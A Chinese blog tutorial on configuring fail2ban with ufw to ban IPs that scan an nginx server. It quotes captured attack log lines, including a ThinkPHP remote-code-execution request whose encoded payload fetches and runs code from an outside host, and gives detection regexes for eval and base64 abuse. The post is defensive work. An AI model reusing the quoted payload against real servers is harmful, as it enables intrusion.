跳至内容

Jixun's Blog 填坑还是开坑,这是个好问题。

利用 fail2ban 自动封禁乱扫的 IP

起因

今日尝试升级系统的包,顺便瞄了眼 nginx 日志,发现很多奇怪的请求,例如:

185.198.69.4 - - [25/Jan/2024:16:53:57 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-"
35.203.211.148 - - [26/Jan/2024:21:10:00 +0000] "\x00\x00\x00\xAC\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456h\x00\x00\x00\x02\x00\x00\x00\x11\x03\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x01\x00,\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-"
45.95.147.236 - - [03/Feb/2024:21:16:32 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=eval&vars[1][]='eval(base64_decode(\x22aWYoZmlsdGVyX3ZhcihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxGSUxURVJfVkFMSURBVEVfQk9PTEVBTikpe2V2YWwoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpKTt9ZWxzZXskaD1jdXJsX2luaXQoImh0dHA6Ly85My4xMjMuMzkuNzYveCIpO2N1cmxfc2V0b3B0KCRoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGgsQ1VSTE9QVF9IRUFERVIsMCk7ZXZhbChjdXJsX2V4ZWMoJGgpKTtjdXJsX2Nsb3NlKCRoKTt9\x22));' HTTP/1.1" 400 150 "-" "-"
45.156.128.7 - - [03/Feb/2024:21:14:32 +0000] "GET /sugar_version.json HTTP/1.1" 403 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
78.153.140.177 - - [03/Feb/2024:18:27:51 +0000] "GET /.env HTTP/1.1" 403 13 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"

同一个 IP 基本上扫了好几页,日志里大部分都是这类请求…。

话说在前…

fail2ban 更像一个「马后炮」来根据日志的错误来对来源请求进行拦截。

如果你部署的应用本身就不安全或配置上有安全隐患,fail2ban 并不是对应这类问题的终极答案(Silver bullet)

如果你需要「预防」此类攻击,你或许更应该考虑 Web 应用防火墙(Web Application Firewall (WAF))1

系统环境

都是 Debian,并使用 ufw 作为防火墙配置工具。

因此配置时也是直接让其使用 ufw 而非 fail2ban 默认使用的 iptables

安装

安装 fail2ban 本体以及确保防火墙 ufw 也安装好了:

sudo apt install fail2ban ufw

配置

因为对自带的规则有点不满意,因此基于 nginx-botsearch 规则扩展了一下。

放入下述配置文件内容至 /etc/fail2ban/filter.d/jixun-nginx-logs.conf 即可:

# Fail2Ban filter to match web requests for selected URLs that don't exist
# Adapted from:
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/botsearch-common.conf
# https://github.com/fail2ban/fail2ban/blob/9bedc3c38385a2eb3c62677360c520a58819b9b1/config/filter.d/nginx-botsearch.conf

[Definition]

bad_prefix = \.
private_file = backup|password|database|config|bak|~|\.yaml|\.toml
admin_rules = [Mm]anager|[Aa]dmin|[lL]og[iI]n|[^/]\.git
php = .\.php|base64_decode|eval|call_user_func|\.\.\/\.\.\/
block_extra = <private_file>|<bad_prefix>|<admin_rules>|<php>
block = .*?\/?(<webmail>|<pwa>|<wordpress>|<block_extra>|cgi-bin)[\S]*?

# These are just convenient definitions that assist the blocking of stuff that 
# isn't installed
webmail = roundcube|(ext)?mail|horde|(v-?)?webmail
pwa = (typo3/|xampp/|admin/)?(pma|(php)?[Mm]y[Aa]dmin|mysqladmin)
wordpress = wp-(login|signup|admin)\.php

failregex = ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) \/<block> \S+\" [^23]\d\d\s
            ^<HOST> \- \S+ \[\] \"\\x
            ^ \[error\] \d+#\d+: \*\d+ (\S+ )?\"\S+\" (failed|is not found) \(2\: No such file or directory\), client\: <HOST>\, server\: \S*\, request: \"(GET|POST|HEAD) \/<block> \S+\"\,\s

ignoreregex =

datepattern = {^LN-BEG}%%ExY(?P<_sep>[-/.])%%m(?P=_sep)%%d[T ]%%H:%%M:%%S(?:[.,]%%f)?(?:\s*%%z)?
              ^[^\[]*\[({DATE})
              {^LN-BEG}

journalmatch = _SYSTEMD_UNIT=nginx.service + _COMM=nginx

其中 Definition 节下的正则表达式可以自行改写来根据需要补充规则。注意规则不要太“贪”2

定义好规则后可以对现有的日志文件测试效果:

# 查看所有匹配规则的日志行
fail2ban-regex --print-all-matched /var/log/nginx/access.log \
               /etc/fail2ban/filter.d/jixun-nginx-logs.conf

# 查看没有匹配上规则的日志行
fail2ban-regex --print-all-missed /var/log/nginx/access.log \
               /etc/fail2ban/filter.d/jixun-nginx-logs.conf

然后可以继续配置 fail2ban 的「监狱(jail)」了。

将下述内容写出到 /etc/fail2ban/jail.d/jixun.conf

[DEFAULT]
# 不尝试反向解析域名
usedns = no

# 封禁时间,默认 10 分钟
bantime = 10m

# 10 分钟内触发 5 次规则才会进行封禁
findtime = 10m
maxretry = 5

# 使用 UFW 作为防火墙来管理
banaction = ufw
banaction_allports = ufw

# 我们新加的日志过滤器
[nginx-logs]
enabled = true
filter = jixun-nginx-logs
port     = http,https
logpath  = /var/log/nginx/access.log
           /var/log/nginx/error.log

※ 时间单位支持 d 天、h 小时、m 分钟、s 秒。例如 1d 表示 1 日。

完成后就可以重启服务来应用了:

sudo systemctl enable fail2ban # 确保服务启用
sudo systemctl restart fail2ban
sudo systemctl status fail2ban # 检查是否正常启动

正常启动时,上述指令的最后一行将输出绿色的 active (running) 字样。

测试

找一台机器,执行下述指令进行测试:

for i in `seq 1 20`; do
  curl curl -kL 'https://192.168.1.2/.git' 
  sleep 0.2
done

其中 192.168.1.2 是我的机器 IP 地址(内网靶机嘛),而 .git 则是在规则中配置会触发封禁的路径。

跑了几秒后,可以发现 curl 开始报错无法连接了:

curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server
curl: (7) Failed to connect to 192.168.1.2 port 443 after 9 ms: Couldn't connect to server

在服务器也可以看到当前封禁记录了:

# fail2ban-client status nginx-logs
Status for the jail: nginx-logs
|- Filter
|  |- Currently failed: 1
|  |- Total failed:     3
|  `- File list:        /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     2
   `- Banned IP list:   192.168.1.3

常见问题

fail2ban 提示找不到 sshd 的日志文件

错误信息如下:

Feb 02 15:00:53 lab-f2b systemd[1]: Started fail2ban.service - Fail2Ban Service.
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,441 fail2ban.configreader   [833]: WARNING 'allowipv6' not defined in 'Definition'. Using default one: 'auto'
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,447 fail2ban                [833]: ERROR   Failed during configuration: Have not found any log file for sshd jail
Feb 02 15:00:53 lab-f2b fail2ban-server[833]: 2024-02-02 15:00:53,451 fail2ban                [833]: ERROR   Async configuration of server failed
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/EXCEPTION
Feb 02 15:00:53 lab-f2b systemd[1]: fail2ban.service: Failed with result 'exit-code'.

如果没有开启 SSH 服务(例如测试环境)则可能会遇到这个问题,可以在配置文件中禁用。

将下述内容加入到 /etc/fail2ban/filter.d/sshd-disable.conf 即可:

[sshd]
enabled = false

封锁整个 IP 而非单个端口

将监狱配置文件的 port 字段改为 all 即可。

例如在 /etc/fail2ban/jail.d/jixun.conf 中作出如下更改:

 [nginx-logs]
 enabled = true
 filter = jixun-nginx-logs
-port     = http,https
+port     = all
 logpath  = /var/log/nginx/access.log
            /var/log/nginx/error.log

查询封禁记录

查询启用的监狱,fail2ban-client status

Status
|- Number of jail:      2
`- Jail list:   nginx-logs, sshd

查看 nginx-logs 监狱的封禁记录,fail2ban-client status nginx-logs

Status for the jail: nginx-logs
|- Filter
|  |- Currently failed: 1
|  |- Total failed:     3
|  `- File list:        /var/log/nginx/access.log /var/log/nginx/error.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     2
   `- Banned IP list:   192.168.1.3

这些指令可能需要 root 权限。

手动封禁指定 IP

临时封禁(监狱时间到后自动放行):

fail2ban-client set "nginx-logs" banip "1.2.3.4"

永久封禁(直接从 ufw 进行封禁):

do ufw deny from "1.2.3.4" to any

结语

如果只是自己用的服务,不如部署到内网(树莓派或 SFF 主机),直接避免外部访问;需要从外部访问则可以配置隧道来访问。

我自己的话也迁移了很多应用到家里的小主机来自托管,并使用 WireGuard 来建立一个安全的隧道来允许我偶尔在外面时访问。

另外… 尽量保持系统和软件更新!

后记

发现规则配置了也没啥用,唯一的帮助是日志更方便看了…

  • 有些请求就是固定扫某一个路径,大概一天扫一次的低频行为 => 手动拉黑眼不见心不烦。
  • 有些可能是轮换 IP;有看到一部分请求是连续错误三次,然后换了个 IP…

知识共享许可协议 本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。

评论区